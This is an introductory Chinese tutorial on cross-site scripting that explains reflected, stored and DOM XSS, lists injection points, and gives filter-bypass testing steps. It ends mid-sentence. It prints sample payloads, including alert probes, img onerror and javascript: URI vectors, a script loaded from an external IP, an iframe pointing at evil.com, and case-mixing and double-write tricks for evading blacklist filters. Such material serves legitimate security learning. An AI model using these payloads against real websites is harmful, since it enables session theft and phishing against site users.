XSS漏洞

由于时间和篇幅,只做浅析,往后时间充裕了再细细研究

简介

XSS(cross site scripting)跨站脚本为了不与网页中层叠样式表(css)混淆,故命名为xss。黑客将恶意代码嵌入网页中,当客户网文网页的时候,网页中的脚本会自动执行,从而达成黑客攻击的目的。

分类

1.反射型xss

非持久化,一般需要欺骗客户去点击构造好的链接才能触发代码。

2.存储型XSS

他会存储到数据库中,这种xss漏洞危害极大,因为它可以长久的保存在网页中,每个浏览过此网页的用户都会中招,很多xss蠕虫的爆发都是基于持久型xss,一般在留言板,评论区类位置容易出现此漏洞。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。

存储型XSS攻击流程

3.DOM型XSS

全称Document Object Model,使用DOM可以使程序和脚本能够动态访问更新文档的内容,结构及样式。 DOM型XSS是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。

挖掘

XSS可以插在哪里?

用户输入作为script标签内容

1
2
3
4
5
//<script>标签:script是最有直接的xss攻击载荷,脚本标记可以应用外部的js代码,或者将脚本插入网页之中。

<script>alert("hhh")</script>

<script src="http://1.1.1.1/a.js"></script>

用户输入作为HTML注释内容

用户输入作为HTML标签的属性名

用户输入作为HTML标签的属性值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//<img >标签:

<img src="2" onerror=alert('hhh')>
<img src="2" onerror=alert(/hhh/)>
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
  
    
//<table>标签:
<table background="javascript::alert('hhh')">

    
//<iframe>标签:<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。

<iframe src=http://evil.com/xss.html”>

用户输入作为HTML标签的名字

直接插入到CSS里 

测试思路

下面让我们来看一下XSS绕过的测试流程。

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:

1.暴力测试(输入大量的payload,看返回结果) 2.根据正则推算 3.利用浏览器bug 初步测试

(1)尝试插入比较正常的HTML标签,例如:<a>、<b>、<i>、<u>等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

(2)尝试插入不闭合的标签,例如:<a、<b、i>、u>、<img等,然后看一下返回响应,是否对开放的标签也有过滤。

(3)然后测试几种常见的XSS向量:

1
2
<script>alert(1)</script><script>prompt(1)</script><script>confirm(1)</script>......看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert、prompt、confirm等字符,再尝试大小写的组合:
<scRiPt>alert(1);</scrIPt>

(4)如果过滤器仅仅是把<script></script>标签过滤掉,那么可以用双写的方式来绕过:

1
<scr<script>ipt>alert(1)</scr<script>ipt>

这样当